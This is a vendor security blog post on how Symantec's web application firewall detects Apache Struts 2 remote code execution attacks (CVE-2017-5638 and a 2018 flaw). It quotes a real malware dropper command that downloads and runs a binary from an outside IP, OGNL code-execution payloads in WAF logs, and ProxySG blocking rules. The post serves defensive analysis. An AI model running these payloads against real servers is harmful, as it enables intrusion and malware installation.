ProxySG & Advanced Secure Gateway

 View Only

Symantec WAF and Remote Code Execution & Command Injection in Apache Struts 2 

Apr 19, 2017 04:28 PM

[Updated Aug 28th to cover new attacks]

Summary

Apache Struts is a popular open-source MVC web application framework for Java-based web applications. A recently announced 0-day security vulnerability (CVE-2017-5638) against this framework is being actively exploited. It impacts the Jakarta-based multipart parser used in Struts 2.

Exploitation attempting to land remote code execution and command injection payloads have been identified.

The Symantec Web Application Firewall solution leverages a unique Content Nature Detection approach that is able to correctly identify CVE-2017-5638 attacks without requiring a signature update or virtual patch. Symantec Web Application Firewall (WAF) customers are protected by default, and no additional action is required.

Attack

There are many POC attack payloads flooding the web, including this exploit in the Metasploit Framework: https://github.com/rapid7/metasploit-framework/issues/8064 . For our analysis we will use the python script from the core of this exploit. When running the script against a vulnerable target:

Blog1.png

… the Wireshark packet capture shows the HTTP request being issued:

Blog2.png

The response from the vulnerable server contains the result of running the command as it would run on local host. Command injection chaining allows for truly powerful exploitation variants, from a simple "whoami" and "ls –l" sequences to sophisticated firewall and IDS disabling as shown here.

Mitigation

Let’s deploy the Symantec Web Application Firewall (WAF) and observe how the attack is correctly detected and blocked. With the Symantec WAF deployed in front of the vulnerable Struts server, the following response is returned:

urllib2.HTTPError: HTTP Error 400: Bad Request

Note: The WAF configured by default to return Status 400 for blocked requests.

The WAF log for the request shows the Code Injection and Analytics Filter engines have identified the attack:

"Code Injection;Command Injection"
"[{"eng":"injection.code","part":"header","lang":"java","data":"%{(#_='multipart…"},
{"eng":"analytics_filter","part":"header","rule":[“AF-1006-3","AF-1006-20","AF-1006-21","AF-1006-52"],"data":"%{(#_='multipart…"}]"

 

The important aspect is that the Symantec WAF detected and blocked this attack without requiring a signature update. The log shows that our WAF correctly detects the value of Content-Type header as malicious and categorizes it as Code Injection and Command Injection. Now if the attacker wants to gain a foothold on the compromised machine they might try a more elaborate Command Injection. For example, this nasty payload from recently discovered Linux ARM ELF_IMEIJ.A malware:  

wget -O /tmp/Arm1 http://192.154.108.2:8080/Arm1;chmod 0777 /tmp/Arm1;/tmp/Arm1;

This attack is quite unique as it includes a Java code in addition to bash command sequence. Despite the payload modification, the Command Injection attack is detected correctly:

"Command Injection;Code Injection" 40 - "[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"%{(#_='multipart…#cmd='wget -O \/tmp\/Arm1 http:\/\/192.154.108.2:8080\/Arm1;chmod 0777 \/tmp\/Arm1;\/tmp\/Arm1;'…"},
{"eng":"injection.command","part":"header","host":"osx","version":"3","data":"%{(#_='multipart…cmd='wget -O \/tmp\/Arm1 http:\/\/192.154.108.2:8080\/Arm1;chmod 0777 \/tmp\/Arm1;\/tmp\/Arm1;'…"},
{"eng":"injection.code","part":"header","lang":"php","data":"%{(#_='multipart…"},
{"eng":"injection.code","part":"header","lang":"java","data":"%{(#_='multipart…"}]" - - WAF_SCANNED


SYMC WAF Protection

The Symantec Web Application Firewall uses Content Nature Detection engines, which satisfy the need for strong detection capabilities in a scalable system capable of handling Enterprise-grade traffic profiles. It is a fundamental shift away from "known bad" pattern matching, and is instead based on understanding the nature of the content and how backend infrastructure components handle data.

Detecting and blocking well-known attacks is something that all modern WAFs do fairly well. Unfortunately this does not represent the real-world exploit payloads from a sophisticated attacker. There are a continually evolving set of evasion techniques exposing fundamental processing holes in existing WAF technology.

The Symantec WAF addresses inherent flaws in the traditional signature-based pattern matching approach. The payloads for CVE-2017-5683 are blocked by default, without requiring a signature update or virtual patch. This greatly reduces the operational overhead associated with type of vulnerability. Symantec WAF customers were also protected before this vulnerability was publically disclosed.

 

Conclusion

Systems leveraging the Jakarta-based multipart parser used in Apache Struts 2 are advised to update to v2.3.32+ or v2.5.10.1+.

Symantec WAF customers are protected by default, and do not require a signature update or virtual patch for protection.

Existing ProxySG customers who are not running WAF controls can deploy a virtual patch in policy for immediate protection. For example:

 

; ProxySG 6.5.x
<proxy>
request.header.Content-Type.substring="%{(#" force_exception(invalid_request)

; ProxySG 6.6+
<proxy>
http.request.normalization.default("urlDecode:(path),urlDecode:(header),urlDecode:urlDecode:htmlEntityDecode:(arg_name,arg)")

<proxy>
http.request[header].substring="%{(#" force_exception(invalid_request)

 

Update

On August 22, 2018 Semmle researchers disclosed another Struts vulnerability. Given the functionality of the framework and the way it is written, this is probably not the last Remote Code Execution (RCE) that will be discovered. The good part for Symantec WAF customers is they are still protected by default and do not require an update for coverage against this attack. Let's see why this is true by using one of the available POCs. When a non-malicious request is sent through the WAF, the Access Log shows nothing (as expected):

2018-08-20 06:26:43 318 10.75.88.131 - - dfd89397c5d3248d-000000000000a505-000000005b7a5f22 - - 404 TCP_NC_MISS GET text/html;charset=utf-8 http 10.169.2.157 8080 /struts2-showcase/${(111+111)}/actionChain1.action - action - 192.168.2.100 1485 111 - "Unavailable" - - 1240 "10.75.88.131" "Unavailable" - 302 10.169.2.157 "WAF Eval" - 0 - - - - - - WAF_SCANNED

However, when a malicious request is sent, the log correctly identifies the attack:

2018-08-21 03:15:11 9 10.75.88.131 - - dfd89397c5d3248d-000000000000a6d0-000000005b7b83bf invalid_request - 400 TCP_ERR_MISS GET - http 10.169.2.157 8080 /struts2-showcase/%24%7b%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%5d%3d%74%72%75%65%2c%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%61%6c%63%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%61%29%2c%23%63%3d%6e%65%77%20%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%63%68%61%72%5b%35%31%30%32%30%5d%2c%23%63%2e%72%65%61%64%28%23%64%29%2c%23%6a%61%73%35%30%32%6e%3d%20%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%6a%61%73%35%30%32%6e%2e%70%72%69%6e%74%6c%6e%28%23%64%20%29%2c%23%6a%61%73%35%30%32%6e%2e%63%6c%6f%73%65%28%29%29%7d/actionChain2.action - action - 192.168.2.100 2290 1104 - "Unavailable" - - 0 "10.75.88.131" "Unavailable" - - 10.169.2.157 "WAF Eval" "Code Injection" 10 - - "[{""eng"":""injection.code"",""part"":""path"",""lang"":""java"",""data"":""${(#_memberAccess[\""allowStaticMethodAccess\""]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}""}]" - - - WAF_SCANNED 

As expected, the Symantec WAF Code Injection engine recognizes Java code in the payload.

Attack payload notes: 

  • The malicious request URL is URL-encoded
  • The payload is a sub-path in the URL path

Based on this, several mechanisms are required for a successful detection: URL decoding, intelligent path parsing, and code injection detection capabilities. This is another example of the Symantec WAF correctly identifying a modern, real-world attack where customers are protected without requiring a signature, rule, or intelligence update.

Statistics
0 Favorited
0 Views
0 Files
0 Shares
0 Downloads

Tags and Keywords

Related Entries and Links

No Related Resource entered.